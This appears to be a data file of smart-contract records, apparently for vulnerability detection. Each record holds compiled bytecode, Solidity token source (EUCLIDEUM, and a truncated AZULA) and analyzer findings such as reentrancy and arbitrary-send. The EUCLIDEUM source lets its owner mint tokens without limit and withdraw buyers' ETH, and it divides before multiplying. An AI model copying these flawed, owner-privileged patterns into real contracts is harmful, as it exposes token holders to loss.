7f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612208565b905092915050565b806121be576121bd61226b565b5b6121c984848461229c565b806121d7576121d6612467565b5b50505050565b60008060006121ea612479565b91509150612201818361216690919063ffffffff16565b9250505090565b6000808311829061224f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122469190612ecf565b60405180910390fd5b506000838561225e91906131fd565b9050809150509392505050565b600060085414801561227f57506000600954145b156122895761229a565b600060088190555060006009819055505b565b6000806000806000806122ae876124db565b95509550955095509550955061230c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123a185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ed816125eb565b6123f784836126a8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124549190613071565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124af683635c9adc5dea0000060065461216690919063ffffffff16565b8210156124ce57600654683635c9adc5dea000009350935050506124d7565b81819350935050505b9091565b60008060008060008060008060006124f88a6008546009546126e2565b92509250925060006125086121dd565b9050600080600061251b8e878787612778565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c24565b905092915050565b600080828461259c91906131a7565b9050838110156125e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d890612f51565b60405180910390fd5b8091505092915050565b60006125f56121dd565b9050600061260c82846120eb90919063ffffffff16565b905061266081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126bd8260065461254390919063ffffffff16565b6006819055506126d88160075461258d90919063ffffffff16565b6007819055505050565b60008060008061270e6064612700888a6120eb90919063ffffffff16565b61216690919063ffffffff16565b90506000612738606461272a888b6120eb90919063ffffffff16565b61216690919063ffffffff16565b9050600061276182612753858c61254390919063ffffffff16565b61254390919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279185896120eb90919063ffffffff16565b905060006127a886896120eb90919063ffffffff16565b905060006127bf87896120eb90919063ffffffff16565b905060006127e8826127da858761254390919063ffffffff16565b61254390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061281461280f84613126565b613101565b9050808382526020820190508285602086028201111561283357600080fd5b60005b858110156128635781612849888261286d565b845260208401935060208301925050600181019050612836565b5050509392505050565b60008135905061287c81613764565b92915050565b60008151905061289181613764565b92915050565b600082601f8301126128a857600080fd5b81356128b8848260208601612801565b91505092915050565b6000813590506128d08161377b565b92915050565b6000815190506128e58161377b565b92915050565b6000813590506128fa81613792565b92915050565b60008151905061290f81613792565b92915050565b60006020828403121561292757600080fd5b60006129358482850161286d565b91505092915050565b60006020828403121561295057600080fd5b600061295e84828501612882565b91505092915050565b6000806040838503121561297a57600080fd5b60006129888582860161286d565b92505060206129998582860161286d565b9150509250929050565b6000806000606084860312156129b857600080fd5b60006129c68682870161286d565b93505060206129d78682870161286d565b92505060406129e8868287016128eb565b9150509250925092565b60008060408385031215612a0557600080fd5b6000612a138582860161286d565b9250506020612a24858286016128eb565b9150509250929050565b600060208284031215612a4057600080fd5b600082013567ffffffffffffffff811115612a5a57600080fd5b612a6684828501612897565b91505092915050565b600060208284031215612a8157600080fd5b6000612a8f848285016128c1565b91505092915050565b600060208284031215612aaa57600080fd5b6000612ab8848285016128d6565b91505092915050565b600060208284031215612ad357600080fd5b6000612ae1848285016128eb565b91505092915050565b600080600060608486031215612aff57600080fd5b6000612b0d86828701612900565b9350506020612b1e86828701612900565b9250506040612b2f86828701612900565b9150509250925092565b6000612b458383612b51565b60208301905092915050565b612b5a816132bc565b82525050565b612b69816132bc565b82525050565b6000612b7a82613162565b612b848185613185565b9350612b8f83613152565b8060005b83811015612bc0578151612ba78882612b39565b9750612bb283613178565b925050600181019050612b93565b5085935050505092915050565b612bd6816132ce565b82525050565b612be581613311565b82525050565b6000612bf68261316d565b612c008185613196565b9350612c10818560208601613323565b612c198161345d565b840191505092915050565b6000612c31602383613196565b9150612c3c8261346e565b604082019050919050565b6000612c54602a83613196565b9150612c5f826134bd565b604082019050919050565b6000612c77602283613196565b9150612c828261350c565b604082019050919050565b6000612c9a601b83613196565b9150612ca58261355b565b602082019050919050565b6000612cbd601d83613196565b9150612cc882613584565b602082019050919050565b6000612ce0602183613196565b9150612ceb826135ad565b604082019050919050565b6000612d03602083613196565b9150612d0e826135fc565b602082019050919050565b6000612d26602983613196565b9150612d3182613625565b604082019050919050565b6000612d49602583613196565b9150612d5482613674565b604082019050919050565b6000612d6c602483613196565b9150612d77826136c3565b604082019050919050565b6000612d8f601783613196565b9150612d9a82613712565b602082019050919050565b6000612db2601183613196565b9150612dbd8261373b565b602082019050919050565b612dd1816132fa565b82525050565b612de081613304565b82525050565b6000602082019050612dfb6000830184612b60565b92915050565b6000604082019050612e166000830185612b60565b612e236020830184612b60565b9392505050565b6000604082019050612e3f6000830185612b60565b612e4c6020830184612dc8565b9392505050565b600060c082019050612e686000830189612b60565b612e756020830188612dc8565b612e826040830187612bdc565b612e8f6060830186612bdc565b612e9c6080830185612b60565b612ea960a0830184612dc8565b979650505050505050565b6000602082019050612ec96000830184612bcd565b92915050565b60006020820190508181036000830152612ee98184612beb565b905092915050565b60006020820190508181036000830152612f0a81612c24565b9050919050565b60006020820190508181036000830152612f2a81612c47565b9050919050565b60006020820190508181036000830152612f4a81612c6a565b9050919050565b60006020820190508181036000830152612f6a81612c8d565b9050919050565b60006020820190508181036000830152612f8a81612cb0565b9050919050565b60006020820190508181036000830152612faa81612cd3565b9050919050565b60006020820190508181036000830152612fca81612cf6565b9050919050565b60006020820190508181036000830152612fea81612d19565b9050919050565b6000602082019050818103600083015261300a81612d3c565b9050919050565b6000602082019050818103600083015261302a81612d5f565b9050919050565b6000602082019050818103600083015261304a81612d82565b9050919050565b6000602082019050818103600083015261306a81612da5565b9050919050565b60006020820190506130866000830184612dc8565b92915050565b600060a0820190506130a16000830188612dc8565b6130ae6020830187612bdc565b81810360408301526130c08186612b6f565b90506130cf6060830185612b60565b6130dc6080830184612dc8565b9695505050505050565b60006020820190506130fb6000830184612dd7565b92915050565b600061310b61311c565b90506131178282613356565b919050565b6000604051905090565b600067ffffffffffffffff8211156131415761314061342e565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131b2826132fa565b91506131bd836132fa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131f2576131f16133d0565b5b828201905092915050565b6000613208826132fa565b9150613213836132fa565b925082613223576132226133ff565b5b828204905092915050565b6000613239826132fa565b9150613244836132fa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561327d5761327c6133d0565b5b828202905092915050565b6000613293826132fa565b915061329e836132fa565b9250828210156132b1576132b06133d0565b5b828203905092915050565b60006132c7826132da565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061331c826132fa565b9050919050565b60005b83811015613341578082015181840152602081019050613326565b83811115613350576000848401525b50505050565b61335f8261345d565b810181811067ffffffffffffffff8211171561337e5761337d61342e565b5b80604052505050565b6000613392826132fa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133c5576133c46133d0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61376d816132bc565b811461377857600080fd5b50565b613784816132ce565b811461378f57600080fd5b50565b61379b816132fa565b81146137a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c36652824030066382ce1d85c237c2b42b7b1bea92bdb1d058e0a14b97e816f664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,713
0x1db1579e5c290b5556b6ea21ca00b22f145f2a9e
/* _____ _ _ _ | ____| _ ___| (_) __| | ___ _ _ _ __ ___ | _|| | | |/ __| | |/ _` |/ _ \ | | | '_ ` _ \ | |__| |_| | (__| | | (_| | __/ |_| | | | | | | |_____\__,_|\___|_|_|\__,_|\___|\__,_|_| |_| |_| (ECL) (ECL) (ECL) (ECL) (ECL) (ECL) (ECL) (ECL) Euclideum A PoS network featuring delegated staking, sharding, and a liquidity protocol Website: https://euclideum.com/ Twitter: https://twitter.com/euclideum Telegram: https://t.me/euclideum_chat Facebook: https://facebook.com/euclideum Medium: https://medium.com/@Euclideum */ pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract EUCLIDEUM is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; uint256 public tokenSalePrice = 0.00005 ether; bool public _tokenSaleMode = true; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("Euclideum.com", "ECL", 18) { governance = msg.sender; minters[msg.sender] = true; } function mint(address account, uint256 amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function burn(uint256 amount) public { _burn(msg.sender, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function buyToken() public payable { require(_tokenSaleMode, "token sale is over"); uint256 newTokens = SafeMath.mul(SafeMath.div(msg.value, tokenSalePrice),1e18); _mint(msg.sender, newTokens); } function() external payable { buyToken(); } function endTokenSale() public { require(msg.sender == governance, "!governance"); _tokenSaleMode = false; } function withdraw() external { require(msg.sender == governance, "!governance"); msg.sender.transfer(address(this).balance); } }
0x6080604052600436106101405760003560e01c80635aa6e675116100b6578063a9059cbb1161006f578063a9059cbb14610494578063ab033ea9146104cd578063dd62ed3e14610500578063e55bfd161461053b578063e86790eb14610550578063f46eccc41461056557610140565b80635aa6e675146103af57806370a08231146103e057806395d89b4114610413578063983b2d5614610428578063a457c2d71461045b578063a48217191461014057610140565b80633092afd5116101085780633092afd5146102a0578063313ce567146102d357806339509351146102fe5780633ccfd60b1461033757806340c10f191461034c57806342966c681461038557610140565b806306fdde031461014a578063095ea7b3146101d457806318160ddd1461022157806323b872dd14610248578063307edff81461028b575b610148610598565b005b34801561015657600080fd5b5061015f610612565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610199578181015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e057600080fd5b5061020d600480360360408110156101f757600080fd5b506001600160a01b0381351690602001356106a8565b604080519115158252519081900360200190f35b34801561022d57600080fd5b506102366106c6565b60408051918252519081900360200190f35b34801561025457600080fd5b5061020d6004803603606081101561026b57600080fd5b506001600160a01b038135811691602081013590911690604001356106cc565b34801561029757600080fd5b50610148610759565b3480156102ac57600080fd5b50610148600480360360208110156102c357600080fd5b50356001600160a01b03166107b7565b3480156102df57600080fd5b506102e861082a565b6040805160ff9092168252519081900360200190f35b34801561030a57600080fd5b5061020d6004803603604081101561032157600080fd5b506001600160a01b038135169060200135610833565b34801561034357600080fd5b50610148610887565b34801561035857600080fd5b506101486004803603604081101561036f57600080fd5b506001600160a01b038135169060200135610905565b34801561039157600080fd5b50610148600480360360208110156103a857600080fd5b5035610961565b3480156103bb57600080fd5b506103c461096b565b604080516001600160a01b039092168252519081900360200190f35b3480156103ec57600080fd5b506102366004803603602081101561040357600080fd5b50356001600160a01b031661097f565b34801561041f57600080fd5b5061015f61099a565b34801561043457600080fd5b506101486004803603602081101561044b57600080fd5b50356001600160a01b03166109fb565b34801561046757600080fd5b5061020d6004803603604081101561047e57600080fd5b506001600160a01b038135169060200135610a71565b3480156104a057600080fd5b5061020d600480360360408110156104b757600080fd5b506001600160a01b038135169060200135610adf565b3480156104d957600080fd5b50610148600480360360208110156104f057600080fd5b50356001600160a01b0316610af3565b34801561050c57600080fd5b506102366004803603604081101561052357600080fd5b506001600160a01b0381358116916020013516610b6d565b34801561054757600080fd5b5061020d610b98565b34801561055c57600080fd5b50610236610ba1565b34801561057157600080fd5b5061020d6004803603602081101561058857600080fd5b50356001600160a01b0316610ba7565b60075460ff166105e4576040805162461bcd60e51b81526020600482015260126024820152713a37b5b2b71039b0b6329034b99037bb32b960711b604482015290519081900360640190fd5b60006106036105f534600654610bbc565b670de0b6b3a7640000610c05565b905061060f3382610c5e565b50565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561069e5780601f106106735761010080835404028352916020019161069e565b820191906000526020600020905b81548152906001019060200180831161068157829003601f168201915b5050505050905090565b60006106bc6106b5610d4e565b8484610d52565b5060015b92915050565b60025490565b60006106d9848484610e3e565b61074f846106e5610d4e565b61074a856040518060600160405280602881526020016112dd602891396001600160a01b038a16600090815260016020526040812090610723610d4e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610f9a16565b610d52565b5060019392505050565b60075461010090046001600160a01b031633146107ab576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6007805460ff19169055565b60075461010090046001600160a01b03163314610809576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600860205260409020805460ff19169055565b60055460ff1690565b60006106bc610840610d4e565b8461074a8560016000610851610d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61103116565b60075461010090046001600160a01b031633146108d9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f1935050505015801561060f573d6000803e3d6000fd5b3360009081526008602052604090205460ff16610953576040805162461bcd60e51b815260206004820152600760248201526610b6b4b73a32b960c91b604482015290519081900360640190fd5b61095d8282610c5e565b5050565b61060f338261108b565b60075461010090046001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561069e5780601f106106735761010080835404028352916020019161069e565b60075461010090046001600160a01b03163314610a4d576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b60006106bc610a7e610d4e565b8461074a8560405180606001604052806025815260200161136f6025913960016000610aa8610d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610f9a16565b60006106bc610aec610d4e565b8484610e3e565b60075461010090046001600160a01b03163314610b45576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60075460ff1681565b60065481565b60086020526000908152604090205460ff1681565b6000610bfe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611187565b9392505050565b600082610c14575060006106c0565b82820282848281610c2157fe5b0414610bfe5760405162461bcd60e51b81526004018080602001828103825260218152602001806112bc6021913960400191505060405180910390fd5b6001600160a01b038216610cb9576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254610ccc908263ffffffff61103116565b6002556001600160a01b038216600090815260208190526040902054610cf8908263ffffffff61103116565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b3390565b6001600160a01b038316610d975760405162461bcd60e51b815260040180806020018281038252602481526020018061134b6024913960400191505060405180910390fd5b6001600160a01b038216610ddc5760405162461bcd60e51b81526004018080602001828103825260228152602001806112746022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610e835760405162461bcd60e51b81526004018080602001828103825260258152602001806113266025913960400191505060405180910390fd5b6001600160a01b038216610ec85760405162461bcd60e51b815260040180806020018281038252602381526020018061122f6023913960400191505060405180910390fd5b610f0b81604051806060016040528060268152602001611296602691396001600160a01b038616600090815260208190526040902054919063ffffffff610f9a16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610f40908263ffffffff61103116565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156110295760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fee578181015183820152602001610fd6565b50505050905090810190601f16801561101b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610bfe576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0382166110d05760405162461bcd60e51b81526004018080602001828103825260218152602001806113056021913960400191505060405180910390fd5b61111381604051806060016040528060228152602001611252602291396001600160a01b038516600090815260208190526040902054919063ffffffff610f9a16565b6001600160a01b03831660009081526020819052604090205560025461113f908263ffffffff6111ec16565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600081836111d65760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610fee578181015183820152602001610fd6565b5060008385816111e257fe5b0495945050505050565b6000610bfe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9a56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158208ad8d5d32abf7142660af8e706363ae0efeb994560d42793602a375e91ec968f64736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,714
0x931dde8895260ab2bf88b3ab266dcdd6107d1b5d
/** //SPDX-License-Identifier: UNLICENSED Telegram: https://t.me/princessazulaETH Twitter: https://twitter.com/azulaETH */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AZULA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isExcludedFromLimit; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public swapThreshold = 100_000_000 * 10**9; uint256 private _reflectionFee = 0; uint256 private _teamFee = 11; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "PrincessAzula"; string private constant _symbol = "AZULA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap; bool private swapEnabled; bool private cooldownEnabled; uint256 private _maxTxAmount = 30_000_000_000 * 10**9; uint256 private _maxWalletAmount = 30_000_000_000 * 10**9; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address wallet1, address wallet2) { _feeAddrWallet1 = payable(wallet1); _feeAddrWallet2 = payable(wallet2); _rOwned[_msgSender()] = _rTotal; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[_feeAddrWallet1] = true; isExcludedFromFee[_feeAddrWallet2] = true; isExcludedFromLimit[owner()] = true; isExcludedFromLimit[address(this)] = true; isExcludedFromLimit[address(0xdead)] = true; isExcludedFromLimit[_feeAddrWallet1] = true; isExcludedFromLimit[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string 